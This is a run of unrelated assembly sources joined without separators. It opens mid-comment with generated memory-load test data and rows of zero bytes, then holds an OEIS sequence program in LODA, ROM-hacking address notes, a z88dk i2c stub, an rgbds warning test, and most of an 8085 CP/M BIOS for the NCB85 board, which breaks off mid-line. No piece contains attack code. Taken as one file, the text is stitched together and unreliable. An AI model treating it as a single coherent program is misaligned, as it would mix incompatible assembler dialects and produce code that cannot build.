False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A052543: Expansion of (1-x)/(1 - 3*x - 2*x^2 + 2*x^3). ; 1,2,8,26,90,306,1046,3570,12190,41618,142094,485138,1656366,5655186,19308014,65921682,225070702,768439442,2623616366,8957586578,30583113582,104417281170,356502897518,1217177027730,4155702315886,14188455208082,48442416200558,165392754386066,564686185143150,1927959231800466,6582464556915566 mov $12,$0 mov $14,$0 add $14,1 lpb $14 clr $0,12 mov $0,$12 sub $14,1 sub $0,$14 mov $9,$0 mov $11,$0 add $11,1 lpb $11 mov $0,$9 sub $11,1 sub $0,$11 mov $5,$0 mov $7,2 lpb $7 mov $0,$5 sub $7,1 add $0,$7 sub $0,1 mov $2,2 lpb $0 mov $1,$0 cal $1,7052 ; Number of order-consecutive partitions of n. sub $0,2 add $2,$1 lpe mov $1,$2 mov $8,$7 lpb $8 mov $6,$1 sub $8,1 lpe lpe lpb $5 mov $5,0 sub $6,$1 lpe mov $1,$6 div $1,2 add $10,$1 lpe add $13,$10 lpe mov $1,$13
copyright zengfr site:http://github.com/zengfr/romhack 009ACA dbra D5, $9ac8 03908C move.w ($84,A6), D3 [enemy+86] 0390D0 move.w ($84,A6), D3 [enemy+86] 03967E jsr $7f6e.w [enemy+86] 03A7B8 move.w ($5a,A2), D0 [enemy+86] copyright zengfr site:http://github.com/zengfr/romhack
; Generate references to any portions of i2c1 ; code that must be part of every compile that ; uses the i2c1. PUBLIC asm_i2c1_need EXTERN __i2c1ControlEcho DEFC asm_i2c1_need = __i2c1ControlEcho
charmap "<NULL>", $00 SECTION "ROM", ROM0 MACRO try OPT \1 ; no warning db "A" * 2 db ("<NULL>") ; warn at level 1 dl ("AB<NULL>CD") dl "<NULL" + ">NULL>" ; warn at level 2 dl (STRCAT("A", "B")) dl "A<NULL>Z" + 1 ENDM try Wno-numeric-string try Wnumeric-string try Wnumeric-string=0 try Wnumeric-string=1 try Wnumeric-string=2 try Werror=numeric-string=1 try Werror=numeric-string=2
;------------------------------------------------------------------------------ ; NCB85 CP/M BIOS ; Roman Borik/RM-Team 2/2012, 2/2013, 1/2014 ; archeocomp 2014-2015 ; NCB85 is a SBC based on 8085 and 64k SRAM. There is also 8kB ROM from 0000H ; that can be shadowed by outputting 1 to SOD pin of 8085 ; BIOS is in the ROM and moved to target RAM after reset. CP/M is loaded from diskette drive ;------------------------------------------------------------------------------ ;DEBUG equ 1 ; floppy driver debug on uart 2.2 cpu 8085undoc jnk macro adr jnx5 adr endm jk macro adr jx5 adr endm ;------------------------------------------------------------------------------ CPMVer equ 22 ; CP/M ver 2.2 BIOSVer equ 21 ; BIOS ver 2.1 CRYSTAL equ 12 ; MHz CPMSource equ "ROM" ; when defined - CP/M in ROM, otherwise ;CPMSource equ "FLP" ; traditionally loaded from system track ; step rate, head settle time FloppySpeed equ "FAST" ;for TEAC drives ;FloppySpeed equ "MEDIUM" ;slower drives MITSUMI? ; drive capacity ;Floppy equ 360 ; drive type - 360kB/5.25" ;Floppy equ 720 ; drive type - 720kB/5.25" ;Floppy equ 120 ; drive type - 1.2MB/5.25" Floppy equ 144 ; drive type - 1.44MB/3.5" ; drives used NumPmd32 equ 0 ; number of PMD32 drives NumFlps equ 2 ; number of floppy drives NumDisks equ NumPmd32+NumFlps ; drives num (PMD32SD+floppies) CCPLength equ 0800h ; CCP len BDOSLength equ 0E00h ; BDOS len BIOSLengthMax equ 1000h ; BIOS (Max) len CcpBdosSec equ (CCPLength+BDOSLength)/128 ; CCP + BDOS len in sectors ; be sure to include (or not include) correct cp/m image at the end of file if (CPMSource <> "ROM") BaseBIOS equ 0EE00h ; BIOS address (with PMD32 driver, debug routines..) else if (Floppy == 360) BaseBIOS equ 0F500h ; BIOS address (with CPM bundled in 8k ROM) for 2x360 elseif (Floppy==144) BaseBIOS equ 0F400h ; BIOS address (with CPM bundled in 8k ROM) for 2x1.44 endif endif BaseCCP equ BaseBIOS-(CCPLength+BDOSLength) ; CCP address BaseBDOS equ BaseCCP+CCPLength+6 ; BDOS address message "BIOS begins at \{BaseBIOS}" message "CCP begins at \{BaseCCP}" IOByte equ 0003h ; IO byte (not used) CurrentDisk equ 0004h ; default disk Buffer equ 0080h ; default DMA address Retry equ 5 ; disk retries Rst55Vect equ 002Ch ; RST5.5 (USART) Rst65Vect equ 0034h ; RST6.5 (TIMER) BEL equ 7 CR equ 0Dh LF equ 0Ah EOF equ 1Ah ESC equ 1Bh SPACE equ 20h ;------------------------------------------------------------------------------ ; IO ports PIO_PA equ 10h PIO_PB equ 11h PIO_PC equ 12h PIO_CWR equ 13h USART_DATA equ 8 USART_CWR equ 9 USART_STAT equ 9 ; paging ROM/RAM - values for SIM instruction XROM equ 40h XRAM equ 0C0h ; init USART USART_RESET equ 01000000b USART_CMD1 equ 01001110b USART_CMD2 equ 00010101b ; USART 16552 FIFO_CTRL_REG_1 equ 2Ah FIFO_CTRL_REG_2 equ 22h LINE_CTRL_REG_1 equ 2Bh LINE_CTRL_REG_2 equ 23h DIVISOR_LOW_BYTE_1 equ 28h DIVISOR_HIGH_BYTE_1 equ 29h DIVISOR_LOW_BYTE_2 equ 20h DIVISOR_HIGH_BYTE_2 equ 21h LINE_STATUS_REG_1 equ 2Dh TRANSMITTER_BUFFER_REG_1 equ 28h RECEIVER_BUFFER_REG_1 equ 28h LINE_STATUS_REG_2 equ 25h TRANSMITTER_BUFFER_REG_2 equ 20h ;------------------------------------------------------------------------------ Mon85Entry equ 010Bh ; MON85 from Dave Dunfield start point CheckMemAdr equ 0FFD0h ; ram paging test routine runtime address ;------------------------------------------------------------------------------ ;****************************************************************************** ;------------------------------------------------------------------------------ org 0 Boot: include "rom_loader.asm" ;------------------------------------------------------------------------------ ;****************************************************************************** ;------------------------------------------------------------------------------ QBaseBIOS: equ $ phase BaseBIOS ; BIOS entry points CBOOTE: jmp CBOOT ; Cold boot WBOOTE: jmp WBOOT ; Warm Boot jmp CONST ; Console status jmp CONIN ; Console input jmp CONOUT ; Console output jmp LIST ; List (printer) output jmp PUNCH ; Character output jmp READER ; Character input jmp HOME ; Go to track 0 jmp SELDSK ; Select disk jmp SETTRK ; Set track jmp SETSEC ; Set sector jmp SETDMA ; Set DMA jmp READ ; Read sector jmp WRITE ; Write sector jmp LISTST ; List (printer) status jmp SECTRN ; Sector translation if NumPmd32>0 jmp ReadByte ; read byte from PMD 32-SD jmp SendCommand ; send cmd jmp SendByte ; send byte jmp SndCrcRdAckErr ; send CRC and receive ACK and ERR jmp ReadAckErr ; receive ACK and ERR jmp WaitErrT15 ; wait for error code 15s jmp WaitErrT ; wait for error code selected time jmp SndCrcRdAck ; send CRC and receive ACK jmp ReadCheckCrc ; receive and check CRC endif ;------------------------------------------------------------------------------ ; Disk parameters DPH: if NumPmd32>0 DPH0: dw 0,0 ; no translation table dw 0,0 dw DIRBUF,DPB ; buff.adr., disk param adr. dw CSV0,ALV0 ; checksum zone adr., aloc bit map adr. DPH1: dw 0,0 ; no translation table dw 0,0 dw DIRBUF,DPB ; buff.adr., disk param adr. dw CSV1,ALV1 ; checksum zone adr., aloc bit map adr. endif DPH4: dw 0,0 ; no translation table dw 0,0 dw DIRBUF,DPB4 ; buff.adr., disk param adr. dw CSV4,ALV4 ; checksum zone adr., aloc bit map adr. DPH5: dw 0,0 ; no translation table dw 0,0 dw DIRBUF,DPB4 ; buff.adr., disk param adr. dw CSV5,ALV5 ; checksum zone adr., aloc bit map adr. ; PMD32SD ; size 2MB ; 256 tracks, 64 sectors/track ; 1020 allocation 2kb blocks ; 256 dir size ; 1 system track if NumPmd32>0 DPB: dw 64 ; SPT - logical sectors per track db 4 ; BSH - block shift db 15 ; BLM - block mask db 0 ; EXM - ext.mask dw 1019 ; DSM - capacity-1 dw 255 ; DRM - dir size-1 db 240 ; AL0 - dir allocation mask db 0 ; AL1 dw 64 ; CKS - checksum array size dw 1 ; OFF - system tracks endif ; Diskette 5,25" DD, 360kB(DOS and CP/M) ; 40 tracks(two side), 18 (256 byte) sectors per track/side, 1440 sectors totally ; 175 allocation 2kB blocks (first track reserved for system) ; 64 dir size (1x16x4) - dir is saved in 1 allocation blocks ; 1 system track if (Floppy==360) && (CPMSource <> "ROM") DPB4: dw 72 ; SPT - logical sectors per track db 4 ; BSH - posun bloku db 15 ; BLM - block mask db 1 ; EXM - ext.mask, 32kB per extent dw 174 ; DSM - capacity-1 dw 63 ; DRM - dir size-1 db 128 ; AL0 - dir allocation mask db 0 ; AL1 dw 16 ; CKS - checksum array size dw 1 ; OFF - system tracks endif if (Floppy==360) && (CPMSource == "ROM") DPB4: dw 72 ; SPT - logical sectors per track db 4 ; BSH - posun bloku db 15 ; BLM - block mask db 1 ; EXM - ext.mask, 32kB per extent dw 179 ; DSM - capacity-1 - full 360kB dw 63 ; DRM - dir size-1 db 128 ; AL0 - dir allocation mask db 0 ; AL1 dw 16 ; CKS - checksum array size dw 0 ; OFF - system tracks - no system track endif ; Diskette 3,5" HD ; 3.5" / 1.44MB(DOS) / 1.28MB(CP/M) ; 80 tracks(two side), 32 (256 byte) sectors per track/side, 5120 sectors totally ; 632 allocation 2kB blocks (first track reserved for system) ; 256 dir size (4x16x4) - dir is saved in 4 allocation blocks ; 1 system track if (Floppy==144) && (CPMSource <> "ROM") DPB4: dw 128 ; SPT - logical sectors per track db 4 ; BSH - block shift db 15 ; BLM - block mask db 0 ; EXM - ext.mask dw 631 ; DSM - capacity-1 dw 255 ; DRM - dir size-1 db 240 ; AL0 - dir allocation mask db 0 ; AL1 dw 64 ; CKS - checksum array size dw 1 ; OFF - system tracks endif if (Floppy==144) && (CPMSource == "ROM") DPB4: dw 128 ; SPT - logical sectors per track db 4 ; BSH - block shift db 15 ; BLM - block mask db 0 ; EXM - ext.mask dw 639 ; DSM - capacity-1 dw 255 ; DRM - dir size-1 db 240 ; AL0 - dir allocation mask db 0 ; AL1 dw 64 ; CKS - checksum array size dw 0 ; OFF - system tracks endif ;------------------------------------------------------------------------------ Signature: db ESC,"[0m" ; reset terminal attributes db ESC,"[2J" ; clear console db CR,LF db "NCB85 64k CP/M v" db CPMVer/10+'0','.',CPMVer#10+'0' db ", BIOS v" db BIOSVer/10+'0','.',BIOSVer#10+'0' db ", ",BaseBIOS/4096+'A'-10,(BaseBIOS#4096)/256+'0',"00-FFFF" if (Floppy==360) db ", 2x 360kB 5.25\"" elseif (Floppy==144) db ", 2x 1.44MB 3.5\"" endif db CR,LF db "RomBor, Archeocomp 07/2014" TCRLF: db CR,LF,0 if NumPmd32>0 ErrPMD32: db CR,LF db "PMD 32-SD Error!" db CR,LF,BEL,0 endif ErrBoot: db "BOOT Error!" db CR,LF,CR,LF,BEL,0 ErrRead: db CR,LF,"Read",0 ErrWrite: db CR,LF,"Write",0 ErrError: db " Error! - ",0 ErrRetry: db " [R]etry [I]gnore Re[B]oot" db CR,LF,BEL,0 db 0 ; 0=warm start, 1=cold start CCPCommand: db 4,"cd *",0 CCPCommandLen: equ $ - CCPCommand ;------------------------------------------------------------------------------ ; * CBOOT * Cold boot CBOOT: di lxi sp,0 ; stack to ram end mvi a,XRAM ; disable ROM sim call HardwareInit ; HW init lxi h,Signature call Print0 xra a ; zero sta IOByte ; IOByte sta CurrentDisk ; current disk and user ;DRI bloking alg. STA HSTACT ;CLEAR HOST ACTIVE FLAG STA UNACNT inr a sta CCPCommand-1 ; flag: cold start ;------------------------------------------------------------------------------ ; * WBOOT * Warm boot WBOOT: di lxi sp,0 ; stack to ram end lda CCPCommand-1 ora a cz HardwareInit ; initialize HW at warm start if NumPmd32>0 mvi l,5 ; 5 retries WBoot1: call CheckPMD32 ; is PMD 32-SD connected? jnc WBoot2 ; yes, jump forward call WaitL dcr l jnz WBoot1 lxi h,ErrPMD32 ; show error msg call Print0 call CONIN ; wait for keypress di ; disable interrupts mvi a,XROM+1Fh ; connect ROM tu bus and disable interrupts sim hlt endif WBoot2: xra a sta drive_nr ;drive 0, track 0, sector 0, head 0 sta track_nr ;FDC driver variables sta motor_0_state ; sta motor_1_state ; floppy motors sta HSTSEC ;host sector in DRI blocking alg. inr a ;256 bytes per sector sta NUMBER_OF_BYTES ;FDC driver variables if Floppy==360 call set_drv_type0 ;5.25" 360kB, 18x256byte sectors/track elseif Floppy==144 call set_drv_type3 ;3.5" 1.44MB, 32x256byte sectors/track endif call fd_init call long_delay jnc .f1 lxi h,ErrBoot ;print boot error call Print0 hlt .f1 if CPMSource == "ROM" ;load CPM from ROM mvi a,XROM+1Fh ;connect ROM to bus and disable interrupts sim lxi h,CPMBIN lxi d,BaseCCP lxi b,CCPLength+BDOSLength call CopyBlock mvi a,XRAM ;disable ROM sim else lxi h,BaseCCP ;load CPM from floppy here (dest.address) lda HSTSEC ;sector counter(it is safe to use this var at boot) .f2 inr a ;move to next sector sta HSTSEC ;save it push h ;backup dest.address call set_sector ;compute correct sec.nr - if we are already on head 1 .f3 mvi a,FDC_READ ;read command call fd_exec_cmd ;execute pop h ;restore dest.address mvi c,0 ;transfer 256 bytes to address lxi d,dbuffer .f4 ldax d mov M,a inx d inx h dcr c jnz .f4 lda HSTSEC ;CPM loaded? cpi CcpBdosSec/2 ;5.5kB CPM (3.5kB BDOS + 2kB CCP) jnz .f2 endif WBootEnd: lxi h,Buffer ; DMA address shld Dma mvi a,0C3h ; jmp instruction to WBOOT to address 0 sta 0 lxi h,WBOOTE shld 1 sta 5 ; jmp instruction to BDOS to address 5 lxi h,BaseBDOS shld 6 lda CurrentDisk ; last used drive mov c,a ; send to CCP in C register lxi h,CCPCommand-1 ; cold/warm start ? mov a,m ; flag to A mvi m,0 ; clear flag if NumPmd32>0 ora a ; warm start ? jz BaseCCP+3 ; jump to CCP with empty edit buffer inx h ; move to beg of "CD *" lxi d,BaseCCP+7 ; copy to edit buffer lxi b,CCPCommandLen call CopyBlock jmp BaseCCP ; jump to CCP elseif jmp BaseCCP+3 ; jump to CCP with empty edit buffer endif ; ;------------------------------------------------------------------------------ CopyBlock: mov a,m stax d inx h inx d dcx b mov a,b ora c jnz CopyBlock ret ;------------------------------------------------------------------------------ ; * Unused services * ;------------------------------------------------------------------------------ ; printer ready - unused LISTST: mvi a,255 ; always ready ;------------------------------------------------------------------------------ ; Char out to printer - unused LIST: ;------------------------------------------------------------------------------ ; Char out to char output - unused PUNCH: ret ;------------------------------------------------------------------------------ ; Char in from char input - unused READER: mvi a,EOF ; vrat vzdy znak konca suboru ret ;------------------------------------------------------------------------------ ; Print zero terminated text ; I: HL=text address ; O: ; M: HL, AF, C Print0: mov a,m ; get char inx h ; move to next ora a ; end of text? rz ; yes, return call ConsoleOutputA ; send char jmp Print0 ; repeat ;------------------------------------------------------------------------------ ; Show error ; Read Error - D/T/S ; Write Error - D/T/S ; D - drive ; T - track ; S - sector PrintError: call Print0 ; text Read/Write Error lxi h,ErrError call Print0 lda Drive ; show Drive adi 'A' call ConsoleOutputA mvi c,'/' call ConsoleOutputC lda Track ; show Track call Dec8 mvi c,'/' call ConsoleOutputC lda Sector ; show Sector call Dec8 lxi h,ErrRetry call Print0 call CONIN ; wait ani 05Fh cpi 'B' ; is it 'B'? jz WBOOT ; warm start ret ;------------------------------------------------------------------------------ ; Print 8 bit number on 3 digits. ; Leading zeroes are suppresed ; I: A=cislo - 0 .. 255 ; O: - ; M: AF, B, DE, HL Dec8: mov h,a ; cislo do H mvi b,8 ; 8 bitove cislo lxi d,0 ; vynuluj vysledok v DE Dec8L: dad h ; najvyssi bit do CY mov a,e ; jednotky a desiatky adc a ; zdvojnasob a pripocitaj prenos z DAD H daa ; preved do BCD mov e,a mov a,d ; stovky adc a ; zdvojnasob a pripocitaj prenos z DAA mov d,a dcr b ; opakuj pre 8 bitov jnz Dec8L lxi h,PrtBCDX+1 ; flag - neplatne nuly mov m,b ; vynuluj ho - uvodne nuly sa netlacia mov a,d ; stovky do A call PrtBCDchar ; zobraz mov a,e ; desiatky a jednotky do A ;------------------------------------------------------------------------------ ; Print BCD number ; I: A=BCD number, HL=PrtBCDX+1 ; O: - ; M: AF, B PrtBCD: mov b,a ; odpamataj cislo rrc ; presun desiatky do dolnych 4 bitov rrc rrc rrc call PrtBCDchar ; zobraz cislo mov m,h ; nastav flag - neplatne nuly - pri jednotkach sa tlaci aj 0 mov a,b ; vezmi cislo PrtBCDchar: ani 15 ; maska na dolne 4 bity jnz PrtBCDchar2 ; ak je to cislica > 0, skoc PrtBCDX: mvi a,0 ; uz bola vytlacena nejaka platna cislica ? ora a rz ; nie, vrat sa - uvodne nuly sa netlacia xra a ; tlacime aj nulu PrtBCDchar2: adi '0' ; uprav na znaky '0' - '9' mov m,a ; nastav flag - mame platne cislice push b push d call ConsoleOutputA ; vytlac znak pop d pop b ret ;------------------------------------------------------------------------------ ; * Diskove services * ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; * SELDSK - Select disk ; I: C=disku nr ; O: HL=address of table DPH, 0 when wrong disk nr ; M: vsetky SELDSK: lxi h,0 ; return 0 on error mov a,c cpi NumDisks ; disks A: .. D: (and E: floppy) rnc ; error - HL = 0 sta Drive ; drive - save it mov l,c ; HL=disk nr, compute DPH address dad h ; *2 dad h ; *4 dad h ; *8 dad h ; *16 lxi d,DPH ; disk. param. address base dad d ; HL=chosen disk params address ret ;------------------------------------------------------------------------------ ; * HOME - Disk Home ; I: - ; O: - ; M: A HOME: mvi c,0 ;DRI blocking alg.code LDA HSTWRT ;CHECK FOR PENDING WRITE ORA A JNZ HOMED STA HSTACT ;CLEAR HOST ACTIVE FLAG HOMED: ; RET ;------------------------------------------------------------------------------ ; * SETTRK - Set track ; I: C=track nr ; O: - ; M: A SETTRK: mov a,c sta Track ret ;------------------------------------------------------------------------------ ; * SETSEC - Set sector ; I: BC=sektora nr (B=0) ; O: - ; M: AF SETSEC: mov a,c ; sectors 1 .. 64 dcr a ; change to 0 .. 63 sta Sector ; save ret ;------------------------------------------------------------------------------ ; * SETDMA - Set DMA ; I: BC=DMA address ; O: - ; M: HL SETDMA: mov h,b mov l,c shld Dma ret ;------------------------------------------------------------------------------ ; * SECTRN - Sector translation ; I: BC=logical sector nr, DE=tran table address ; O: HL=physical sector nr ; M: HL SECTRN: mov h,b ; no translation mov l,c inx h ; 1 .. n ret ;------------------------------------------------------------------------------ ; * READ - Read sector ; I: disk drive, sector and track at addresses Drive, Sector, Track ; source address at address Dma ; O: A=0 - OK ; A=1 - error ; M: all READ: call LocalSP ; set local stack if NumPmd32>0 lda Drive ; last drive is floppy(s) cpi NumDisks-NumFlps jc READ3 endif call read_flp ; handle floppy differently ana a ; check success jz READ2 lxi h,ErrRead ; text Read Error call PrintError ; show err mvi a,1 ; A=1 - err jmp READ2 ; ret -> A=0 - OK if NumPmd32>0 READ3: mvi b,Retry ; number of retries READ1: push b ; save call ReadSector ; read sector pop b ; restore ana a ; success ? jz READ2 ; yes, ret -> A=0 - OK dcr b ; decrement retries jnz READ1 ; again lxi h,ErrRead ; text Read Error call PrintError ; show err cpi 'R' ; Retry ? jz READ3 ; yes, again sui 'I' ; Ignore ? jz READ2 ; ret A=0 mvi a,1 ; A=1 - error endif READ2: call RestoreSP ; restore original stack ret ;------------------------------------------------------------------------------ ; * WRITE - Write sector ; I: disk drive, sector and track at addresses Drive, Sector, Track ; source address at address Dma ; O: A=0 - OK ; A=1 - chyba ; M: vsetky WRITE: call LocalSP ; set local stack if NumPmd32>0 lda Drive ; last drive is floppy(s) cpi NumDisks-NumFlps jc WRITE3 endif call write_flp ; handle floppy differently ana a ; check success jz WRITE2 lxi h,ErrWrite ; text Read Error call PrintError ; show err mvi a,1 ; A=1 - err jmp WRITE2 ; ret -> A=0 - OK if NumPmd32>0 WRITE3: mvi b,Retry ; number of retries WRITE1: push b ; save call WriteSector ; write sector pop b ; restore ana a ; success ? jz WRITE2 ; yes, ret -> A=0 - OK dcr b ; decrement retries jnz WRITE1 ; again lxi h,ErrWrite ; text Write Error call PrintError ; show chybu cpi 'R' ; Retry ? jz WRITE3 ; yes, again sui 'I' ; Ignore ? jz WRITE2 ; ret A=0 mvi a,1 ; A=1 - err endif WRITE2: call RestoreSP ; restore original stack ret ;------------------------------------------------------------------------------ ; Set local stack ; I: - ; O: - ; M: DE, HL, SP LocalSP: pop d ; ret address to DE lxi h,0 ; stack address to HL dad sp lxi sp,Stack ; new stack address push h ; old stack address on new stack xchg ; return indirectly pchl ;------------------------------------------------------------------------------ ; Restors original stack ; I: - ; O: - ; M: DE, HL, SP RestoreSP: pop d ; ret adresa to DE lhld Stack-2 ; original stack to HL sphl ; set original stack address xchg ; return indirectly pchl ;------------------------------------------------------------------------------ ; Short delay ; I: - ; O: cca 90 us ; M: AF WaitQ: mvi a,10*(CRYSTAL/2) WaitQ1: dcr a jnz WaitQ1 ret ;------------------------------------------------------------------------------ ; Long delay ; I: - ; O: cca 1s ; M: AF, BC WaitL: lxi b,3700*(CRYSTAL/2) WaitL1: call WaitQ dcx b jnk WaitL1 ret ;------------------------------------------------------------------------------ ; Delay cca 1ms ;WaitM: mvi b,11 ;WaitM1: call WaitQ ; dcr b ; jnz WaitM1 ; ret ;------------------------------------------------------------------------------ ; Init USART and PIO ; I: - ; O: - ; M: AF HardwareInit: ; init USART 8251 xra a ; be sure to be in Command mode out USART_CWR ; 3x 00 out USART_CWR out USART_CWR mvi a,USART_RESET ; Reset 8251 out USART_CWR mvi a,USART_CMD1 ; 8 data, 1 stop, x16 out USART_CWR ; RxC a TxC = 307,2 kHz -> 19200 Bd mvi a,USART_CMD2 ; RTS, DTR, Enable RX, TX out USART_CWR ; ; init PIO 8255 if NumPmd32>0 PioInit: mvi a,PIO_CMD out PIO_CWR endif ; uart_init_16552: mvi a, 0C7h ;06-no FIFO, 07-enable FIFO, bits 6,7 - fifo trigger out FIFO_CTRL_REG_1 out FIFO_CTRL_REG_2 mvi a, 83h out LINE_CTRL_REG_1 out LINE_CTRL_REG_2 mvi a, 02h ;8-4800,4-9600,2-19200,1-38400 out DIVISOR_LOW_BYTE_1 out DIVISOR_LOW_BYTE_2 xra a out DIVISOR_HIGH_BYTE_1 out DIVISOR_HIGH_BYTE_2 mvi a, 03h out LINE_CTRL_REG_1 out LINE_CTRL_REG_2 ret ; ; print char in C reg on UART2.2 ifdef DEBUG CONOUT2: in LINE_STATUS_REG_2 ; 16552 ani 20h jz CONOUT2 ; wait mov a,c ; char to A out TRANSMITTER_BUFFER_REG_2 ; send ret ; ;print hl in hex format hl_to_hex: mov a,h call tohexh call CONOUT2 ;output mov a,h call tohexl call CONOUT2 ;output l_to_buff: mov a,l call tohexh call CONOUT2 ;output l2_to_buff: mov a,l call tohexl call CONOUT2 ;output ret tohexh: rlc ;high 4-bits rlc rlc rlc tohexl: ani 0Fh ;low 4-bits adi 30h cpi 3Ah ;9 is 0x39 jm nohex ;0-9 ? adi 07h ;no, it is A-F nohex: mov c,a ;return in c ret endif ;------------------------------------------------------------------------------ ; Variables in BIOS SEKDSK: ; DRI name Drive: db 0 ; current disk SEKTRK: ; DRI name Track: dw 0 ; current track SEKSEC: ; DRI name Sector: db 0 ; current sector a disk DMAADR: ; DRI name Dma: dw 0 ; adresa DMA StackX: ds 32 ; stack for BIOS Stack equ $ OldHL: ds 2 ; backup HL in interrupt UsartByte ds 1 ; received byte from USART ;------------------------------------------------------------------------------ ; choose one of the implementations of serial routinnes ; 8251 uart pulling mode, no special char decode ;include "serial_mini.asm" ; ; 8251 uart, interrupt mode, with special char decoding ;include "serial_int.asm" ; ; 16552 uart, channel 1, pulling mode, no special char decode include "serial_mini_16552.asm" ;------------------------------------------------------------------------------ include "pmd32_driver.asm" ;------------------------------------------------------------------------------ include "fdc_driver.asm" ;------------------------------------------------------------------------------ include "blocking_dri.asm" ;------------------------------------------------------------------------------ ; BIOS data areas if NumPmd32>0 ALV0: ds 128 ; disk A: allocation vector CSV0: ds 64 ; disk A: directory checksum ALV1: ds 128 ; disk B: allocation vector CSV1: ds 64 ; disk B: directory checksum endif ; for EPROM located CCP/BDOS we need to save space ; buffers are not allocated so that BIOS+CCP/BDOS fits in 8k if (CPMSource == "ROM") ; saving rom space HSTBUF: ; used by DRI blocking algorithm DIRBUF equ HSTBUF + HSTSIZ ; not allocated, only defined if (Floppy==360) ;ALV4: ds 23 ; disk E: allocation vector ;CSV4: ds 16 ; disk E: directory checksum ;ALV5: ds 23 ; disk F: allocation vector ;CSV5: ds 16 ; disk F: directory checksum ALV4 equ DIRBUF + 128 ; not allocated, only defined CSV4 equ ALV4 + 23 ; not allocated, only defined ALV5 equ CSV4 + 16 ; not allocated, only defined CSV5 equ ALV5 + 23 ; not allocated, only defined message "END ADDRESS : \{CSV5+16}" ;16 bytes for CSV5 elseif (Floppy==144) ;ALV4: ds 81 ; disk E: allocation vector ;CSV4: ds 64 ; disk E: directory checksum ;ALV5: ds 81 ; disk F: allocation vector ;CSV5: ds 64 ; disk F: directory checksum ALV4 equ DIRBUF + 128 ; not allocated, only defined CSV4 equ ALV4 + 81 ; not allocated, only defined ALV5 equ CSV4 + 64 ; not allocated, only defined CSV5 equ ALV5 + 81 ; not allocated, only defined message "END ADDRESS : \{CSV5+81}" ;81 bytes for CSV5 endif else ; CCP/BDOS loaded from first track, buffers allocated DIRBUF: ds 128 ; dir buffer if (Floppy==360) ALV4: ds 22 ; disk E: allocation vector CSV4: ds 16 ; disk E: directory checksum ALV5: ds 22 ; disk F: allocation vector CSV5: ds 16 ; disk F: directory checksum elseif (Floppy==144) ALV4: ds 80 ; disk E: allocation vector CSV4: ds 64 ; disk E: directory checksum ALV5: ds 80 ; disk F: 